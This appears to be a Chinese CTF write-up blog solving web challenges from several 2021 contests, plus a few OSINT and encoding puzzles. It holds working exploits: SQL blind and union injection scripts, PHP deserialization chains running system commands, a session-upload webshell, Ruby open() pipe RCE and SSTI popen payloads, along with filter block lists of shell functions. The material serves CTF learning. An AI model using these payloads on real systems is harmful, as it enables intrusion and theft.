MTCTF 初赛(2021)

web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import string
import requests

def str_hex(litter):
str = ''
for i in litter:
str += hex(ord(i)).replace('0x','')
return '0x5e' + str

string = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'
flag = ''

for i in range(100):
for j in string:
print(j)
url = 'url'
data = {
'username':'Null\\',
'password':'||(`password`/**/regexp/**/binary/**/{})#'.format(str_hex(flag+j))
}
res = requests.post(url=url,data=data).text
if 'flag' in res:
flag += j
print(flag)
break
else:
pass

正则盲注

先看题,ban掉了select,空格等

言归正传,总之这个题的绕过规则

1
2
password字段:1'\
username字段:||(1)/**/in/**/(1)#

不过很可惜环境已经没了,所以我就云复现了,不过我记得通过上述规则绕过后虽然不能登录成功,但页面上会显示flag not in here,因此可以通过这个来进行盲注,但好像if和sleep之类的也ban了还是不起作用,总之,选择知道这个正则匹配可以查到那就继续吧

本地尝试正则盲注

1
mysql> select * from liu_tbl where liu_ling=1||`liu_ling` regexp binary 8;  

终于在本地搞出来了,确实一跑就出,虽然在知道字段名的时候怎么实现明白了,但获取字段名,表名等的方法还不知道。
以下是测试界面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<meta charset="utf-8">
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<title>muhua的测试</title>
<link rel="stylesheet" type="text/css" href="style.css"/>
<body>
<h1>(测试)</h1>
<form action="" method="post">
(账号):<input type="text" name="username">
<br/>
(密码):<input type="text" name="password">
<br/>
<input type="submit" value=login>
</form>
</body>
</html>
<?php
require_once "linkstart-liu.php";

$password=$_POST['password'];
$username=$_POST['username'];

$sql="SELECT username,password FROM users WHERE username='$username' and password ='$password'";
mysqli_select_db($conn , 'supersql');
$retval=mysqli_query( $conn,$sql);
$row = mysqli_fetch_array($retval, MYSQLI_BOTH);
if(!$row['password']){
}
else{
echo 'flag not in here';
}
if($uername==admin && $password=='This_1s_Passw0rd'){
echo "ctfdie{anfoef3wg-vniir8nb-8nnjdmkl}";
}
?>

部分信息改成自己的数据库信息就能用了,我搞云复现不太行,万一云半天结果是错的我就惨了,所以写了个页面来测试。
总之又学到一点点。
正则匹配regexp功能类似like,但如果在查询的字符串前加上^,regexp就会只匹配到以该字符串作为开头的字符串,但这是不区分大小写的匹配,所以为了精确,还要加上binary
有一个学习链接,虽然很容易懂,但链接不能没有:地址

第五届XMAN选拔赛(2021)

easyphp

打开环境,直接给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}

}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{

function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}


if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;

}

给出了反序列化,但类里面却没有可以利用的危险函数,而且能控制的只有这样一句

echo new $this->class ($this->para);

可以生成一个类并且能控制参数,但源码的类里面没有可以进行文件读取或者代码执行的地方,赛后从三月七师傅处得知可以构造php原生类进行目录查询和文件读取,通过类FilesystemIteratorSplFileObject可以分别进行目录查询和文件读取

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);

class XMAN{
public $class;
public $para;
}

$a = new XMAN;
$a->class = "SplFileObject"/*"FilesystemIterator"*/;
$a->para = "./xxxXXXmMManNNn/f1a4.php";

echo urlencode(serialize($a));


/*以下是目录查询方法,将目录全部展示,如果不进行$iterator->next()就只能读取目录下第一格内容
error_reporting(0);

$iterator = new FilesystemIterator('.'); // 创建当前目录的迭代器

while ($iterator->valid()) { // 检测迭代器是否到底了
echo $iterator->getFilename(), ':', $iterator->getCTime(), PHP_EOL;
$iterator->next(); // 游标往后移动
echo "<br>";
}
*/
?>

构造FilesystemIterator(".")获取当前目录第一个内容,得到xxxXXXmMManNNn,打开该文件夹得到f1a4.php,通过SplFileObject("./xxxXXXmMManNNn/f1a4.php"),该类还可以通过控制第二个和第三个参数来控制输出文件从第第二个参数的行数到第三个参数的行数。

祥云杯2021

ezyii

下载附件:

1
2
3
4
5
6
7
8
9
10
11
12
13
#index.php
<?php
include("closure/autoload.php");
function myloader($class){
require_once './class/' . (str_replace('\\', '/', $class) . '.php');
}
spl_autoload_register("myloader");
error_reporting(0);
if($_POST['data']){
unserialize(base64_decode($_POST['data']));
}else{
echo "<h1>某ii最新的某条链子</h1>";
}

包含了class里面的php文件,找到入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#RunProcess.php
<?php

namespace Codeception\Extension;

class RunProcess
{
protected $output;
protected $config = ['sleep' => 0];

protected static $events = [];

private $processes = [];
public function __destruct()
{
$this->stopProcess();
}

public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {

if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
}

魔术方法__destruct里调用了stopProcess方法,$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());,把$process->getCommandLine()作为字符串,如果这是一个类,就会触发类里的魔术变量__tostring,而这个属性是可控的,可以检索到AppendStream.php里有这个魔术方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace GuzzleHttp\Psr7;

class AppendStream
{
private $streams = [];
private $seekable = true;
public function __toString()
{
$this->rewind();
return "hahaha";
}
public function rewind()
{
$this->seek(0);
}
public function seek($offset, $whence = SEEK_SET)
{
if (!$this->seekable) {
throw new \RuntimeException('This AppendStream is not seekable');
} elseif ($whence !== SEEK_SET) {
throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
}

$this->pos = $this->current = 0;

// Rewind each stream
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}
}
}

跟进魔术方法__tostring,一路跟下去,可以看到$stream->rewind();,而属性$stream可控,检索到CachingStream.php里有这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace GuzzleHttp\Psr7;

class CachingStream
{
private $remoteStream;
private $skipReadBytes = 0;
public function rewind()
{
$this->seek(0);
}

public function seek($offset)
{

$byte = $offset;

$diff = $byte - $this->stream->getSize();

if ($diff > 0) {
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
$this->stream->seek($byte);
}
}

public function read($length)
{
$data = $this->stream->read($length);
$remaining = $length - strlen($data);
if ($remaining) {
$remoteData = $this->remoteStream->read(
$remaining + $this->skipReadBytes
);

if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}

$data .= $remoteData;
$this->stream->write($remoteData);
}

return $data;
}
}

继续跟下去,出现$data = $this->stream->read($length);$stream同样可控,检索到PumpStream.php中有方法read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

namespace GuzzleHttp\Psr7;

class PumpStream
{
private $source;

private $size;

private $tellPos = 0;

private $metadata;


private $buffer;

public function getSize()
{
return $this->size;
}
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;

if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}

return $data;
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}
}

继续跟进,最后看到一个回调函数call_user_func($this->source, $length);$source可控,可以进行rce了

可以看到index.php里是将传入的数据进行了base64解码再进行反序列化的,所以要对得到的序列化字符串进行base64编码

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('a');
}
}
echo urlencode(base64_encode(serialize(new RunProcess())));

}
namespace Faker{
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('b');
include("closure/autoload.php");
$a = function(){system('cat /f*');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

安全检测

(赛后复现)

进后台之后传一个url,进行ssrf但发现有过滤。

得到有一个admin文件夹,ssrf:
POST:urll=http://127.0.0.1/admin

显示还有一个include123.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);

show_source(__FILE__);
?>

检测很多,无法使用伪协议,使用session包含

向靶机上传文件,同时传session文件

文件名就是sess_加上PHPSESSID的值

接着查到根目录下的getflag.sh,执行即可

第五空间

webftp

http://114.115.185.167:32770/.git/config
得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
[core]
repositoryformatversion = 0
filemode = false
bare = false
logallrefupdates = true
symlinks = false
ignorecase = true
[remote "origin"]
url = git://github.com/wifeat/WebFTP
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/maste

打开:github.com/wifeat/WebFTP

下载,找:
Readme\mytz.php

探针文件里面有phpinfo();

1
2
3
4
if (isset($_GET['act']) && $_GET['act'] == 'phpinfo'){
phpinfo();
exit();
}

直接在phpinfo
环境变量flag:

flag{g28F28EPTjRoxM9sNBDtMS3ZPuIPXL6A}

pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(file__);
}
?>

造个poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php  

class acp
{
public $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}



class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
}
}



$a = new acp;
$a->cinder = new ace;

$a->cinder->filename = 'flag.php';

$a->cinder->docker = serialize($a);

echo urlencode(serialize($a));
1
2
3
4
5
<!-- O%3A3%3A"acp"%3A3%3A%7Bs%3A6%3A"cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3Bs%3A133%3A"O%3A3%3A"acp"%3A3%3A%7Bs%3A6%3A"cinder"%3BO%3A3%3A"ace"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A9%3A"openstack"%3BN%3Bs%3A6%3A"docker"%3BN%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D"%3B%7Ds%3A7%3A"neutron"%3BN%3Bs%3A4%3A"nova"%3BN%3B%7D -->
<!--?php
//flag{fXM75u5IqcaEwdIibN4DOpHGGnyi};
$heat='asdwe1g648798qwe321d65';
?-->

easycleanup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}

?>

ban掉大小写以及数字,还ban了反引号,$_,问号,异或符号,星号,加减号。
通过取反绕过,进行命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
phpinfo();
(~%8f%97%8f%96%91%99%90)();
啥也没有

system('ls');
(~%8c%86%8c%8b%9a%92)(~%93%8c);
刚好15字符,只有index.php

构造exec,完了发现只有四个字符的位置了,也就是说只能进行4字rce了:
exec(">ls")
(~%9a%87%9a%9c)(~%c1%93%8c);
写完再执行ls,没有增加文件,看来是没有权限,没招了

赛后:session文件包含,我傻了,不听前辈言,吃亏在眼前

题目:easycleanup
内容:到死都不会清理

通过异或绕过进行rce,得到phpinfo页面之后,查看:

1
2
session.upload_progress.cleanup = Off
session.upload_progress.enabled = On

第一个设置为Off表示上传的session文件不会被清理,同时第二个设置On表示能够设置:
网上扒了个session上传的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import io
url = "http://114.115.134.72:32770/"
sessid = "hua"


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)

data = {
'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'muhua!';@eval($_POST[1]);?>"
}

cookies = {
'PHPSESSID': sessid
}

files = {
'file': ('muhua.jpg', filebytes)
}
res = session.post(url,data=data,cookies=cookies,files=files)


if __name__ == "__main__":
with requests.session() as session:
write(session)

因为不会清理,所以不需要一直发,改了改,传上去,注意文件名/tmp/sess_name不要超过15字符,这里就直接上传

然后利用file参数进行包含,直接蚁剑连接,找到根目录下的flag_is_here_not_are_but_you_find

yet_another_mysql_injection

打开页面源码:/?source

直接给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>


<!-- source code here: /?source -->

1
2
3
4
5
6
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";

有过滤,但直接把sql原句给了,等于是给出了表名,列名,甚至还给了一个索引条件
~~
将等号使用like代替,尝试本地注入

1
mysql> select liu_ling from liu_tbl where liu_name='muhua' and liu_ling='1'union select (select liu_ling from liu_tbl where liu_name like 'muhua')'1';

result

确实是可以查到的
hacker了,因为admin里面含了过滤字符串in,因此进行模糊匹配

1
1'union/**/select/**/(select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admi%')'1

但这次wrong password:

1
2
3
4
5
  if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}

也就是说查到了东西,有可能是有一个adminn之类的干扰:

1
1'union/**/select/**/(select/**/password/**/from/**/users/**/where/**/username/**/like/**/'admi%n')'1

初步猜测是有很多类似的用户名导致模糊匹配了多个,试试有没有id这个字段直接爆:

1
1'union/**/select/**/(select/**/password/**/from/**/users/**/where/**/id/**/like/**/'84'/**/)'1

但使用bp和脚本都不行,网页不响应,一堆错误中出个84超时,害我以为出了。。~~

坏了,看错了条件是$row['password'] === $password
也就是说,查到的值要和输入的值完全相等(===

文件写入

想进行文件写入,但<>都过滤了,in也被过滤了,静态估计也写不了,盲注也没得办法,只能尝试模糊匹配对password字段进行爆破:

1
1'union/**/select/**/(select/**/group_concat(password)/**/from/**/users/**/where/**/password/**/like/**/'%a%')'1

再次尝试才发现不能用联合查询注入,因为无论有没有都会返回null,应该直接在后面接or加模糊匹配

1
1'or/**/password/**/like/**/'%e%

感觉这样能爆出来,但不行,并且直接打:

1
1'or/**/username/**/like/**/'admi%n

都显示something wrong,意味着username = 'admin'这个字段都没东西,这下是真想不到了,只能等个wp了

看完wp了:
理解匹配方式的时候就想过,但只想到联合查询注入可以控制得到的值,主要是真没想到怎么把前面的部分给加上去,sql语法了解的太少了…

1
'union/**/select/**/replace(replace('"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#',char(34),char(39)),char(63),'"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#')/**/as/**/a#

使用union可以进行联合查询,也就是执行前面一个查询的同时进行第二个查询,即使第一个查询返回为空,如果第二个查询返回了结果,也会在之前那个表的字段之下输出查询结果,如果查询的对象仅仅是字符串,则会输出字符串

那么要得到自己构造的字符串,首先要保证前一个查询结果为空,表本就是空的,因此进行下一步

需要构造的字符串要与自己输入的字符串一样,需要使用替换的方法,将需要的内容替换进去

首先是replace函数,该函数有三个参数,第一个参数为原始字符串,第二个参数为需要被替换的部分,第三参数是作为替换内容的字符串

先研究别人的payload构造的字符串怎么变的,因为实在是看的有点晕

原始字符串:

1
'"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#'

使用replace:

1
replace('"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#',char(34),char(39))

char(34)和char(39)分别是双引号和单引号,这里是将字符串中双引号替换为单引号,因为字符串直接使用单引号会导致闭合出错导致语句无法执行

再次使用replace:

1
replace(replace('"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#',char(34),char(39)),char(63),'"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#')

这里就是最终的替换内容了,将两处问号替换成了它原始字符串本身,这样一来,我们输入的内容与联合查询的内容就是一样的了,都是

1
'union/**/select/**/replace(replace('"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#',char(34),char(39)),char(63),'"union/**/select/**/replace(replace("?",char(34),char(39)),char(63),"?")/**/as/**/a#')/**/as/**/a#

也就是说把进行执行的sql语句都作为替换用的的字符串,构造一个与输入的sql语句格式相同的字符串,并为即将替换入的sql语句准备好分身,在返回结果之前将假身替换成真身,这样就能使得输入的sql语句也成功具现化,也可以说给造出的身体注入了灵魂,这样应该比较好理解了

png图片转换器

比赛的时候没看这题,也不知道这个语言0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

考察的ruby里的open函数可以进行rce的知识点:https://blog.heroku.com/identifying-ruby-ftp-cve

关键代码

1
2
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb')

filename可控,进行写入shell:

1
2
3
4
5
ls /
file=|bash -c "$(echo 'bHMgLw==' | base64 -d)" #.png

cat /FLA9_KywXAv78LbopbpBDuWsm
file=|bash -c "$(echo 'Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3Nt' | base64 -d)" #.png

ctfshow月饼杯

web

签到

核心点

1
hash("md5", $_GET["YBB"]) == $_GET["YBB"])

传入值的hash值与自身弱类型相等:0e215962017的hash值为:0e291242476940776845150308577824,绕过

osint

幸福小镇

打开是幸福小镇的一张图,把可米给打码了,题目要求是角色名加cv名,震惊1202年了还有人带幸福小镇玩,因为这作品巨好看,所以我很清楚角色名,cv倒真不知道,百度一下,题目给的图居然就是百度百科头图,签到题无疑了:

ctfshow{可米_杨鸥}

以卵击石

格式为ctfshow{该甜点的售价_内层馅料的种数_复刻UP主第一次提到此甜点的B站视频号},如ctfshow{250_10_BV1aX4y1F72w}

先搜索了半天这个以卵击石,一无所获,直接百度搜图,找到,但大多都没有说甜品名字,找了半天,找到一篇文章:链接

在:推荐餐厅:Mr & Mrs Bund

一栏下看到了该图,并且看到了Lemon & Lemon的字样,一下意识到这是个柠檬,但上b站搜了半天柠檬和Lemon,都没有看到一样的图片,最终我选择去搜索餐厅名,搜到:【外滩18号】Mr & Mrs Bund 法国菜,上海有名喂狗粮地方,封面正是该甜品,但视频中并未介绍该甜品,我退回去,再次尝试搜索柠檬,突然看见一个封面是一个人拿着手电筒在照柠檬,也就是@绵羊料理,我意识到这是线索,这不就是前两天学长们看的视频吗。。。 果然我得到了该甜点的信息,价格110,内有6种馅,但我打出bv号却错了,我在up的视频翻了半天也没找到能扯上关系的视频,然后我(去吃了个饭,回来总结了一些知识点,完了尝试继续玩这个题)晚上再看的时候注意到了她在视频中引用他人的话评价这个甜品的时候,出现了两个人@力元君@雨哥到处跑,并且这两人桌上就是这个甜品,我正打算搜索这两个up主,发现他们就在评论区,我点开他们的主页,直接查看和@绵羊料理同时段的视频,果然找到一个视频,两人去她家蹭饭,加上这俩人说他们几个都在上海,那个餐厅也在上海,再加上评论区说她请了两个傻子吃饭,答案呼之欲出,我看了半天 太好笑舍不得跳,还没忍住笑出了声。。。,终于他们的餐桌上出现了这个甜品,!!!

打flag:

ctfshow{110_6_BV1664y1W7zS}

我的木头啊

c6_I_@t216MG_0q_Uf673JTYYzBXs{31QJmTTg=hw63XZFZiHho5GzE}

w形栅栏解密

ctfshow{626173653136_MJQXGZJTGI_YmFzZTY0_qzTiEHgB_@UX=h}

分别按对应的方式解密

ctfshow{base16_base32_base64_base58_base}

2021天翼杯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class A{
public $code = "";
function __call($method,$args){
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}


}else{
highlight_file(__FILE__);
}

正则匹配"B"::之间的东西,非贪婪,也就是"B":1:就会被匹配到,并传入数组preg_match_all第三个参数$ret$ret是一个数组,数组中有两个数组,第一数组存放匹配到的整个字符串,第二个数组存(.*?)匹配到的内容

首先造了一个直接进行命令执行的poc,但魔术方法__wakeup会在反序列化的同时将变量$code置空,需要绕过__wakeup

然后找了一篇文章:链接

只要主类中显示的属性数量大于真实存在的数量,即可绕过

但如果直接在原本的序列化字符串上修改就会导致正则匹配出现(!==1)的结果,所以,不把B作为主类,而是在外面再套一个自己创的类,再进行__wakeup的绕过:

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class i{

public $k;
}

class A{
public $code;

}

class B{
public $a;


}
$z=new i;

$a=new B;

$z->k=$a;

$a->a=new A;

$a->a->code="phpinfo();";

$b = serialize($z);

var_dump($b);

O:1:"i":1:{s:1:"k";O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}}

然后修改:

O:1:"i":2:{s:1:"k";O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}}

即可得到phpinfo界面,搜索一下界面,可以看到ban了system函数,但scandir函数和var_dump函数都可以使用,尝试得到根目录,但被禁止了,有basedir

.config.php.swp恢复:

1
2
3
4
5
6
7
8
<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");

define("REDIS_PASS","you_cannot_guess_it");

查到是redis,没接触过,又查了一些恶意加载.so文件的方法,没整明白

看了wp,要用到蚁剑的插件,但我蚁剑的插件市场不知道为什么一直加载不出0.0

长安杯

espy

登录,抓包

工具解密jwt:

密钥:CTf4r

使用模板注入

1
2
3
4
5
{{ ''.__class__.__mro__[1].__subclasses__() }}

# 查出popen函数

{{self.__class__.__mro__[1].__subclasses__()[106]}}

执行命令失败了,真不会了

复现:
shell改成:

1
{{self.__class__.__mro__[1].__subclasses__()[106](request.cookies.s,shell=True,stdout=-1).communicate()[0]}}

因为直接执行会500

抓包,修改cookie:

1
